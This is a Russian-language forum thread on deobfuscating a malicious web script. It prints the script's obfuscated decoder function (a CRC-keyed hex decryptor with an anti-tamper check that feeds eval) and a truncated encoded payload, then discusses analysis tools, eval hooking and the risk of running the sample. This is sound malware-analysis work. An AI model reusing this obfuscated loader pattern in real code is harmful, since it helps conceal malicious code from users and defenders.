Есть скрип(ниже) в который я привел читабельному виду и закоментировл eval( вместо него поместил document.write). Получаю след. картину: Это код который прекрасно исполняеться через eval. Вопрос: как привести вывод(на картинке) к читабильному виду? //Данная функция используеться ниже function I58mjY6n3(Gn84wOfOJ) { var t1jXcSnPQ = arguments.callee.toString().replace(/\W/g, '').toUpperCase(); var eLIbPIF7p; var ra7bf6C78; var jf4F1w040 = t1jXcSnPQ.length; var WGBWb43IT; var M6Nnm6jY0 = ''; var LXjk2bnx0 = new Array(); for (ra7bf6C78 = 0; ra7bf6C78 < 256; ra7bf6C78++) LXjk2bnx0[ra7bf6C78] = 0; var eLIbPIF7p = 1; for (ra7bf6C78 = 128; ra7bf6C78; ra7bf6C78 >>= 1) { eLIbPIF7p = (eLIbPIF7p >>> 1) ^ ((eLIbPIF7p & 1) ? 3988292384 : 0); for (B776YPewP = 0; B776YPewP < 256; B776YPewP += ra7bf6C78 * 2) { LXjk2bnx0[B776YPewP + ra7bf6C78] = (LXjk2bnx0[B776YPewP] ^ eLIbPIF7p); if (LXjk2bnx0[B776YPewP + ra7bf6C78] < 0) { LXjk2bnx0[B776YPewP + ra7bf6C78] += 4294967296; } } } WGBWb43IT = 4294967295; for (eLIbPIF7p = 0; eLIbPIF7p < jf4F1w040; eLIbPIF7p++) { WGBWb43IT = LXjk2bnx0[(WGBWb43IT ^ t1jXcSnPQ.charCodeAt(eLIbPIF7p)) & 255] ^ ((WGBWb43IT >> 8) & 16777215); } var a0MNhygDE = new Array(); var VLcQ0ni2w = 2323; WGBWb43IT = WGBWb43IT ^ 4294967295; if (WGBWb43IT < 0) { WGBWb43IT += 4294967296; } WGBWb43IT = WGBWb43IT.toString(16).toUpperCase(); var WuULoP1P6 = new Array(); var jf4F1w040 = WGBWb43IT.length; for (ra7bf6C78 = 0; ra7bf6C78 < 8; ra7bf6C78++) { var urC6il2mW = jf4F1w040 + ra7bf6C78; a0MNhygDE[ra7bf6C78] = 1; a0MNhygDE[ra7bf6C78] = VLcQ0ni2w; if (urC6il2mW >= 8) { urC6il2mW = urC6il2mW - 8; WuULoP1P6[ra7bf6C78] = WGBWb43IT.charCodeAt(urC6il2mW); } else { WuULoP1P6[ra7bf6C78] = 48; } } var W6I7dO58p = 0; var Ws1uxP2aj; var OuRX2x03g; var q1qF7Hwsy; jf4F1w040 = Gn84wOfOJ.length; q1qF7Hwsy = jf4F1w040; VLcQ0ni2w = 1123; VLcQ0ni2w = q1qF7Hwsy; for (ra7bf6C78 = 0; ra7bf6C78 < jf4F1w040; ra7bf6C78 += 2) { var mMMN4608B = Gn84wOfOJ.substr(ra7bf6C78, 2); Ws1uxP2aj = parseInt(mMMN4608B, 16); OuRX2x03g = Ws1uxP2aj - WuULoP1P6[W6I7dO58p]; if (OuRX2x03g < 0) { OuRX2x03g = OuRX2x03g + 256; } M6Nnm6jY0 += String.fromCharCode(OuRX2x03g); q1qF7Hwsy++; VLcQ0ni2w = 3891; if (W6I7dO58p < WuULoP1P6.length - 1) { W6I7dO58p++; VLcQ0ni2w = 1092; a0MNhygDE[ra7bf6C78] = 20; } else { W6I7dO58p = 0; VLcQ0ni2w = ra7bf6C78; } } //eval(M6Nnm6jY0); document.write(M6Nnm6jY0); } //ВОТ ТУТ I58mjY6n3('98B69377956F727c866C68716969.......92a7867973876d9b7276867668776d9A9278A66c9373959b6aa786677377696768767b6968797568727b866C73796a7867787C6874799667927E7B666b876d7D7278867773856D9C67757e6B93786d7b66A77B6B68856970677c7B6868796A6766A97D646686686A586e80'); Полный текст скрипта
Для приведения результатов к читабельному виду необходим оригинальный файл с точностью до символа. Представленный не пашет засчет трика с arguments.callee.toString().replace(/\W/g, '').toUpperCase(); Внесение изменений в файл приводит к искажению результата функи I58mjY6n3. Мой результат documenet.write изначально отличался от представленного на скрине. Выложи оригинальный (небезопасный), попробую поковырять.
https://learn.javascript.ru/debugging-chrome Я правда хз: модифицирует ли хром при установке бряка исходный код (аля прописывание 0xCC)
Все что удалось выжать из скрипта можно посмотреть по ссылке http://rgho.st/7wd4qcNDt В архиве 3 скрипта и 2 txt: Layer1.js - исходный файл скрипта (тот что в первом посте указан) Layer1_key.txt - ключ при помощи которого расшифровываются вложенные данные 1-го скрипта Layer2.js - 2-ой скрипт, порождаемый из 1-го Layer2_key.txt - ключ при помощи которого расшифровываются вложенные данные 2-го скрипта Core.js - сам засранец в более-менее читаемом виде
Спасибо, в конце концов загнал все в Malzilla, он выдал результат как у вас. Подскажите ошибку в моей логике: я делал html документ , подключал туда вредоносный скрипт , и до его подключения прописывал: <script type="text/javascript"> window.eval = function(arg) { document.write(arg); } </script> Все выводилось как у вас, но после for(HsX160QoY=0;HsX160QoY<h7tmu3g10;hsx160qoy+=2){ выводился мусор var head="" <="" od2vkfj61 (у вас var ogUSa5C2q = Tj5gAbiNE.substr(HsX160QoY, 2); ). Непойму почему............ Вообще как я понял вы разбирались в алгоритме, по идее на разбор такого скрипта должен уходить час(в антивирусных компаниях), сколько у вас времени ушло?
Ошибки-то как таковой здесь нет. Ход мысли правильный - необходимо что бы этот скрипт был исполнен в контексте браузера. Иначе никак, потому что в противном случае не удастся получить экземпляр объекта document. Единственное, на что я могу обратить ваше внимание - это на невнимательность, т.к. сам скрипт написан таким образом, что сначала идет JS-функция и следом же код (вне контекста функции) ее вызывающий - I58mjY6n3('98B6a29aa5aeB4a...бла-бла...6e80'); Таким образом эта функция в любом случает будет выполнена при загрузке скрипта. Плохо то, что вы так и хотите запустить этот вредонос на исполнение. Это хорошо, что зверушка мертвой оказалась, иначе вы сами себя бы наказали. Да, я попытался проанализировать логику работы этой функции. Ушло на это ну где-то пол-часа-час, т.к. интересен был трик с контролем целостности. P.S.: Больше так не делайте с EVAL, вы не для того от него избавлялись в скрипте, заменяя на document.write, что бы снова вызвать на страничке ))))))
В свое время, вместе с Крисом (доброй ему памяти) писали автоматический анализатор таких вещей. Самый простой вариант - это конечно написать на базе движка например хрома. Там можно переопределять методы, такие как eval и не только - и допустим перенаправлять на printf или еще куча вариантов есть. Но иногда попадались вещи которые заточены четко под IE и попытки проэмулировать JS на хроме или мозиловском монкей движке - ни к чему не приводили. У IE особая магия, особенно если это таргетированный JS под определенную версию IE. По поводу контекста - технически такие эмуляторы позволяли эмулировать контекст (при доработке конечно же), но к примеру если скрипт написан под Adobe PDF - то там были вещи которые, вот просто так не напишешь, чтоб эмулировалось (а там бывали скрипты зловредные и без eval). По сути вы должны контролировать любой вызов внешней библиотеки. А время разбора скрипта - обычно зависит от имеющихся тулов и уровне вложенности. А иногда бывает - что попадались скрипты, где идет попытка загрузить другой JS который доступен в определенное время - тогда можно подумать, что там нет зловреда, но это не так. В общем много вариаций. Все не перечислишь.